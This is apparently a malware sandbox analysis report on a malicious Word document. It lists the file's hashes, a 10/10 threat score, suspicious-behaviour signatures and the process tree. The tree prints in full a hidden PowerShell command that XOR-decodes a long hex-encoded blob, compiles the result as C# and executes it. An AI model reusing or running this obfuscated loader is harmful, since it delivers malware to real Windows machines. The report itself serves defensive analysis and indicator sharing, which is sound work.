ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
102s
max time network
119s
platform
windows7_x64
resource
win7v200217
submitted
19-02-2020 13:59

Sharing

Copy URL

Twitter E-mail

General

Target

2020-02-11_215032.doc
Size

18KB
MD5

b0e57826e057683609c3f8bba49765da
SHA1

3ef7ebe1db1c5dd43a93341e14e3aea6159ec446
SHA256

15c2d9e37b1a69dd0d8a8ad6ec96b764a49bec2662258d3fa15f1bc9a65a2047
SHA512

bc1e0b0457f871f3ce8a494fe60b75b98d1fd88132729e776fabbda65390f90953aa1dd77edc27149debad82ccd6a4afdaf8db8326e2e74ad8f21d0f45f58fb6

Score

10^/10

Malware Config

Signatures

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1852	WINWORD.EXE

Suspicious use of SetWindowsHookEx 16 IoCs

pid	Process
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE
1852	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1944	1852	powershell.exe	22

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1852 wrote to memory of 1944	1852	WINWORD.EXE	23
PID 1852 wrote to memory of 1944	1852	WINWORD.EXE	23
PID 1852 wrote to memory of 1944	1852	WINWORD.EXE	23
PID 1944 wrote to memory of 1404	1944	powershell.exe	26
PID 1944 wrote to memory of 1404	1944	powershell.exe	26
PID 1944 wrote to memory of 1404	1944	powershell.exe	26
PID 1404 wrote to memory of 1500	1404	csc.exe	27
PID 1404 wrote to memory of 1500	1404	csc.exe	27
PID 1404 wrote to memory of 1500	1404	csc.exe	27

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1944	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1944	powershell.exe

Office loads VBA resources, possible macro or embedded object present

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-02-11_215032.doc"
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1852
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden function h81bfb8 {param($gb2184)$v5853ce='e3b14';$ka2b75='';for ($i=0; $i -lt $gb2184.length;$i+=2){$o7327b6=[convert]::ToByte($gb2184.Substring($i,2),16);$ka2b75+=[char]($o7327b6 -bxor $v5853ce[($i/2)%$v5853ce.length]);}return $ka2b75;} $nbe448 = '10400b5f5345601b4240005e5944470c5d0511671c401654594b61175f400c5e071f7d0b4707435b15600743420c5007420f10400b5f5345601b4240005e4c755d04540c5e47115a01420f10400b5f5345601b4240005e4c787b5e4611585a021331484711560f1f7a0047593c3e1546005d5d0613015d55164042550103575a50031e68265d582c5e125e46111b405a51175d075d0757114e745a11411b615b0c5d160c1622561661460a5023555017561142164c6e424141075f0b5214164703455d061307494000410c117d0b47324546455f500457001b2b5f403547101155540a075455521f1145460c5d051157030054051d5e68265d582c5e125e46111b405a51175d075d0757114e11710b471048640a5a0c45145813407d5b04572e585617521048164c6e424141075f0b5214164703455d061307494000410c117d0b47324546455f00550c04554a4240175a0c5614010a5409034c08397558097a0f415b17474a135f00410c54585601401d14205d16434d355c0b5f4058113458461146035d64175c16545711114b6c141546005d5d0613114555115a0111511d4707435a45510d5e58454555520603054a785a1163164314060557570c061f37785a116316431400575a070156574e11410c5d161156520b015418455c174514105a0c45141d005705564c08397558097a0f415b17474a137f00410c545856014c555809114e11710b471048640a5a0c45094761165d790a45077c51085c1048164913315440295211457117410d430903520e42514c6e42424004470b5214004b1654460b13145e5d01130457065d0406197d0b473245464558075302521f2b5f40354710115f560b5702180c5d16115f525255551d5e431753580c5042424004470b52140c5d16114e5c0650091c4c482b5f40354710114c520b045203450e425d56010b03571c0d0b535352070b4a13045106070005500b5350045406040151471a4b0a5d031b1a060c0350550c092c5d166140171d3854460a1a19565b115c424600070751060f187a0c45641141424b03560501020909015752514d4b55095206044e590c545104530c4d11500501000253040c5304520701570301060751025202015003550507471a4b0a5d031b1806075350510c092c5d166140171d3854460a1a19565b115c424600070751060f18662b5f4035471011460102005356520e4a647d0b473245464c0659445d0b47424450075703040955080b571c444555520603054a4b035605010218175753535607044e014c51034e5e411113175556015257181d1e540d455b45445653005604594c761c47076a6945490753025d0a5f4a041d00531d041d55041d041d0a524c0f2c5d166140171314080606505b5409285210425c045f4c7058095c017973095c0050584d004b0a790441115955091d215e441c1b185456530b5b1d0449455b0357060a071d074c080457065d0406195a004442785a116316431c1f04510757561d365e7d0b4754051c4c185249045502001818130a5052575c564e021d5e4456530056045811630051215d5d005d1611455006550552585d07461432560072580c560c451c4c081145460c5d0511515c0b000909205d1458460a5d0f545a111d255440235c0e5551176303455c4d760c475d175c0c5c510b474c624400500b5058235c0e5551171d234144095a0150400c5c0c755511524b1a16396f00555053000708164e5b5a005603515a19165151570705040656131d5e4257040351554c755b125d0e5e5501750b5d514d5b5a005603515a1916555756060553075301515152535204530656040155025600040706500452510b525301560351005554025709000106520404550b57500406075404015450535207560552050355035600055106520055550356530452114b1d515c0b00091d5e63105e570040116240044116785a035c4245025255575052585d07461435410d5251164031455517472b5f520a1b07080c070b4b0a64175c015447161d31455517474a450252555750524c0810544010410c11045e4e124456095a0111471152165857454016435d0b5442590c545104530c4d4016435d0b54425a5700565050054c481145460c5d051155540a075455520e405407070256130f164710585a02130e53505d52040c6711410b5f534b760f41401c08045e464d5a0c45140c0e520a5d59580154515752531f78005d05455c5e5a490c064c4800484000130e030106565f725b0b450743404b670d734d11564a5a5700565050054b6017534711410b5f534d5a4e031d490254180f095106095503185f19570d5210181c0901575251456d4250055c560750033e1b0b1e064c13471155540a075455521d2e545a02470a6c1d5e4e10544010410c115807575a50525e4e1f'; $nbe4482 = h81bfb8($nbe448); Add-Type -TypeDefinition $nbe4482; [d5fd8a7]::z9528();
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious behavior: EnumeratesProcesses
  PID:1944
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yyxo4zwk\yyxo4zwk.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1404
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9BF0.tmp" "c:\Users\Admin\AppData\Local\Temp\yyxo4zwk\CSCCF1D0AA3279643318F2CB2F8659103A.TMP"
      4⤵
      PID:1500

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads